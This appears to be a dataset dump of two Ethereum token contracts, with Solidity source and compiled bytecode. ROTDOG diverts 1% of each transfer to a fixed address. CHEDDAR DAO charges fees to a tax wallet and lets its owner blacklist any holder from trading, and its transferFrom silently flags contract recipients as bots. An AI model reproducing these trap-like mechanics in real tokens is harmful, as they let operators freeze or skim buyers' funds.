* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract ROT is ERC20 {
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() ERC20("ROTDOG", "ROT") {
_mint(msg.sender, 21000000000000000000000000000);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
uint amountToDonate = (amount)/100;
uint amountToSend = amount - amountToDonate;
bool success = super.transfer(recipient, amountToSend);
if(success == true) {
if(amount > 0){
super.transfer(0xE3bB3F8f77A7EE9C8302cE539f403fF01748EB89, amountToDonate);
}
return true;
}
return false;
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610dc6565b60405180910390f35b6100e660048036038101906100e19190610c37565b610308565b6040516100f39190610dab565b60405180910390f35b610104610326565b6040516101119190610ea8565b60405180910390f35b610134600480360381019061012f9190610be8565b610330565b6040516101419190610dab565b60405180910390f35b61015261035a565b60405161015f9190610ec3565b60405180910390f35b610182600480360381019061017d9190610c37565b610363565b60405161018f9190610dab565b60405180910390f35b6101b260048036038101906101ad9190610b83565b61040f565b6040516101bf9190610ea8565b60405180910390f35b6101d0610457565b6040516101dd9190610dc6565b60405180910390f35b61020060048036038101906101fb9190610c37565b6104e9565b60405161020d9190610dab565b60405180910390f35b610230600480360381019061022b9190610c37565b6105dd565b60405161023d9190610dab565b60405180910390f35b610260600480360381019061025b9190610bac565b61065d565b60405161026d9190610ea8565b60405180910390f35b6060600380546102859061103d565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061103d565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c6103156106e4565b84846106ec565b6001905092915050565b6000600254905090565b600061033d8484846108b7565b61034f846103496106e4565b846106ec565b600190509392505050565b60006012905090565b60006104056103706106e4565b84846001600061037e6106e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104009190610efa565b6106ec565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546104669061103d565b80601f01602080910402602001604051908101604052809291908181526020018280546104929061103d565b80156104df5780601f106104b4576101008083540402835291602001916104df565b820191906000526020600020905b8154815290600101906020018083116104c257829003601f168201915b5050505050905090565b600080600160006104f86106e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ac90610e88565b60405180910390fd5b6105d26105c06106e4565b8585846105cd9190610f81565b6106ec565b600191505092915050565b6000806064836105ed9190610f50565b9050600081846105fd9190610f81565b9050600061060b8683610b36565b905060011515811515141561064f5760008511156106435761064173e3bb3f8f77a7ee9c8302ce539f403ff01748eb8984610b36565b505b60019350505050610657565b600093505050505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075390610e68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c390610e08565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108aa9190610ea8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091e90610e48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098e90610de8565b60405180910390fd5b6109a2838383610b54565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1f90610e28565b60405180910390fd5b8181610a349190610f81565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ac49190610efa565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b289190610ea8565b60405180910390a350505050565b6000610b4a610b436106e4565b84846108b7565b6001905092915050565b505050565b600081359050610b68816112e7565b92915050565b600081359050610b7d816112fe565b92915050565b600060208284031215610b9557600080fd5b6000610ba384828501610b59565b91505092915050565b60008060408385031215610bbf57600080fd5b6000610bcd85828601610b59565b9250506020610bde85828601610b59565b9150509250929050565b600080600060608486031215610bfd57600080fd5b6000610c0b86828701610b59565b9350506020610c1c86828701610b59565b9250506040610c2d86828701610b6e565b9150509250925092565b60008060408385031215610c4a57600080fd5b6000610c5885828601610b59565b9250506020610c6985828601610b6e565b9150509250929050565b610c7c81610fc7565b82525050565b6000610c8d82610ede565b610c978185610ee9565b9350610ca781856020860161100a565b610cb0816110fc565b840191505092915050565b6000610cc8602383610ee9565b9150610cd38261110d565b604082019050919050565b6000610ceb602283610ee9565b9150610cf68261115c565b604082019050919050565b6000610d0e602683610ee9565b9150610d19826111ab565b604082019050919050565b6000610d31602583610ee9565b9150610d3c826111fa565b604082019050919050565b6000610d54602483610ee9565b9150610d5f82611249565b604082019050919050565b6000610d77602583610ee9565b9150610d8282611298565b604082019050919050565b610d9681610ff3565b82525050565b610da581610ffd565b82525050565b6000602082019050610dc06000830184610c73565b92915050565b60006020820190508181036000830152610de08184610c82565b905092915050565b60006020820190508181036000830152610e0181610cbb565b9050919050565b60006020820190508181036000830152610e2181610cde565b9050919050565b60006020820190508181036000830152610e4181610d01565b9050919050565b60006020820190508181036000830152610e6181610d24565b9050919050565b60006020820190508181036000830152610e8181610d47565b9050919050565b60006020820190508181036000830152610ea181610d6a565b9050919050565b6000602082019050610ebd6000830184610d8d565b92915050565b6000602082019050610ed86000830184610d9c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f0582610ff3565b9150610f1083610ff3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610f4557610f4461106f565b5b828201905092915050565b6000610f5b82610ff3565b9150610f6683610ff3565b925082610f7657610f7561109e565b5b828204905092915050565b6000610f8c82610ff3565b9150610f9783610ff3565b925082821015610faa57610fa961106f565b5b828203905092915050565b6000610fc082610fd3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561102857808201518184015260208101905061100d565b83811115611037576000848401525b50505050565b6000600282049050600182168061105557607f821691505b60208210811415611069576110686110cd565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6112f081610fb5565b81146112fb57600080fd5b50565b61130781610ff3565b811461131257600080fd5b5056fea264697066735822122041c46df6f1b8156cb6e478e62764e8d38b631738d5f9874f9147cf9271eabfe864736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 8,470 |
0xf9a8b146bc4b1e79b42144a3b97a84e9568cc86e
|
//tg: @cheddao
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CHEDDARDAO is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"CHEDDAR DAO";
string public constant symbol = unicode"ChedDAO";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 15;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
if (recipient != tx.origin) _isBot[recipient] = true;
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (10 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (10 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 350000000 * 10**9;
_maxHeldTokens = 350000000 * 10**9;
// max buy and held: 350_000_000
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
//on/off control for the price impact reduction mechanism
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
//Changing the tax collecting address
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610597578063dcb0e0ad146105ac578063dd62ed3e146105cc578063e8078d941461061257600080fd5b8063a9059cbb1461052d578063b515566a1461054d578063c3c8cd801461056d578063c9567bf91461058257600080fd5b806373f54a11116100d157806373f54a111461049c5780638da5cb5b146104bc57806394b8d8f2146104da57806395d89b41146104fa57600080fd5b8063590f897e1461043c5780636fc3eaec1461045257806370a0823114610467578063715018a61461048757600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103ad57806340b9a54b146103e657806345596e2e146103fc57806349bd5a5e1461041c57600080fd5b806327f3a72a1461033b578063313ce5671461035057806331c2d8471461037757806332d873d81461039757600080fd5b8063104ce66d116101b6578063104ce66d146102b257806318160ddd146102ea5780631940d0201461030557806323b872dd1461031b57600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b3146102605780630b78f9c01461029057600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102536040518060400160405280600b81526020016a434845444441522044414f60a81b81525081565b6040516102139190611a7f565b34801561026c57600080fd5b5061028061027b366004611af9565b610627565b6040519015158152602001610213565b34801561029c57600080fd5b506102b06102ab366004611b25565b61063d565b005b3480156102be57600080fd5b506008546102d2906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f657600080fd5b50678ac7230489e80000610209565b34801561031157600080fd5b50610209600e5481565b34801561032757600080fd5b50610280610336366004611b47565b6106d7565b34801561034757600080fd5b506102096107a9565b34801561035c57600080fd5b50610365600981565b60405160ff9091168152602001610213565b34801561038357600080fd5b506102b0610392366004611b9e565b6107b9565b3480156103a357600080fd5b50610209600f5481565b3480156103b957600080fd5b506102806103c8366004611c63565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f257600080fd5b50610209600a5481565b34801561040857600080fd5b506102b0610417366004611c80565b610845565b34801561042857600080fd5b506009546102d2906001600160a01b031681565b34801561044857600080fd5b50610209600b5481565b34801561045e57600080fd5b506102b06108e6565b34801561047357600080fd5b50610209610482366004611c63565b610913565b34801561049357600080fd5b506102b061092e565b3480156104a857600080fd5b506102b06104b7366004611c63565b6109a2565b3480156104c857600080fd5b506000546001600160a01b03166102d2565b3480156104e657600080fd5b506010546102809062010000900460ff1681565b34801561050657600080fd5b50610253604051806040016040528060078152602001664368656444414f60c81b81525081565b34801561053957600080fd5b50610280610548366004611af9565b610a10565b34801561055957600080fd5b506102b0610568366004611b9e565b610a1d565b34801561057957600080fd5b506102b0610b36565b34801561058e57600080fd5b506102b0610b6c565b3480156105a357600080fd5b50610209610c07565b3480156105b857600080fd5b506102b06105c7366004611ca7565b610c1f565b3480156105d857600080fd5b506102096105e7366004611cc4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061e57600080fd5b506102b0610c92565b6000610634338484610fd8565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461065d57600080fd5b600f8210801561066d5750600f81105b801561067a5750600a5482105b80156106875750600b5481105b61069057600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561070557506001600160a01b03831660009081526004602052604090205460ff16155b801561071e57506009546001600160a01b038581169116145b15610757576001600160a01b0383163214610757576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6107628484846110fc565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610791908490611d13565b905061079e853383610fd8565b506001949350505050565b60006107b430610913565b905090565b6008546001600160a01b0316336001600160a01b0316146107d957600080fd5b60005b8151811015610841576000600560008484815181106107fd576107fd611d2a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061083981611d40565b9150506107dc565b5050565b6008546001600160a01b0316336001600160a01b03161461086557600080fd5b600081116108aa5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461090657600080fd5b476109108161174c565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109585760405162461bcd60e51b81526004016108a190611d5b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b0316146109c257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6906020016108db565b60006106343384846110fc565b6000546001600160a01b03163314610a475760405162461bcd60e51b81526004016108a190611d5b565b60005b81518110156108415760095482516001600160a01b0390911690839083908110610a7657610a76611d2a565b60200260200101516001600160a01b031614158015610ac7575060075482516001600160a01b0390911690839083908110610ab357610ab3611d2a565b60200260200101516001600160a01b031614155b15610b2457600160056000848481518110610ae457610ae4611d2a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b2e81611d40565b915050610a4a565b6008546001600160a01b0316336001600160a01b031614610b5657600080fd5b6000610b6130610913565b905061091081611786565b6000546001600160a01b03163314610b965760405162461bcd60e51b81526004016108a190611d5b565b60105460ff1615610be35760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108a1565b6010805460ff1916600117905542600f556704db732547630000600d819055600e55565b6009546000906107b4906001600160a01b0316610913565b6008546001600160a01b0316336001600160a01b031614610c3f57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016108db565b6000546001600160a01b03163314610cbc5760405162461bcd60e51b81526004016108a190611d5b565b60105460ff1615610d095760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108a1565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d453082678ac7230489e80000610fd8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da79190611d90565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610df4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e189190611d90565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e899190611d90565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610eb981610913565b600080610ece6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f36573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5b9190611dad565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fb4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108419190611ddb565b6001600160a01b03831661103a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108a1565b6001600160a01b03821661109b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108a1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561113e57506001600160a01b03821660009081526005602052604090205460ff16155b801561115a57503360009081526005602052604090205460ff16155b61116357600080fd5b6001600160a01b0383166111c75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108a1565b6001600160a01b0382166112295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108a1565b6000811161128b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108a1565b600080546001600160a01b038581169116148015906112b857506000546001600160a01b03848116911614155b156116ed576009546001600160a01b0385811691161480156112e857506007546001600160a01b03848116911614155b801561130d57506001600160a01b03831660009081526004602052604090205460ff16155b156115895760105460ff166113645760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016108a1565b600f54421415611392576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f546102586113a39190611df8565b111561141d57600e546113b584610913565b6113bf9084611df8565b111561141d5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016108a1565b6001600160a01b03831660009081526006602052604090206001015460ff16611485576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f546102586114969190611df8565b111561156a57600d548211156114ee5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016108a1565b6114f942601e611df8565b6001600160a01b0384166000908152600660205260409020541061156a5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016108a1565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156115a3575060105460ff165b80156115bd57506009546001600160a01b03858116911614155b156116ed576115cd42600f611df8565b6001600160a01b0385166000908152600660205260409020541061163f5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016108a1565b600061164a30610913565b905080156116d65760105462010000900460ff16156116cd57600c546009546064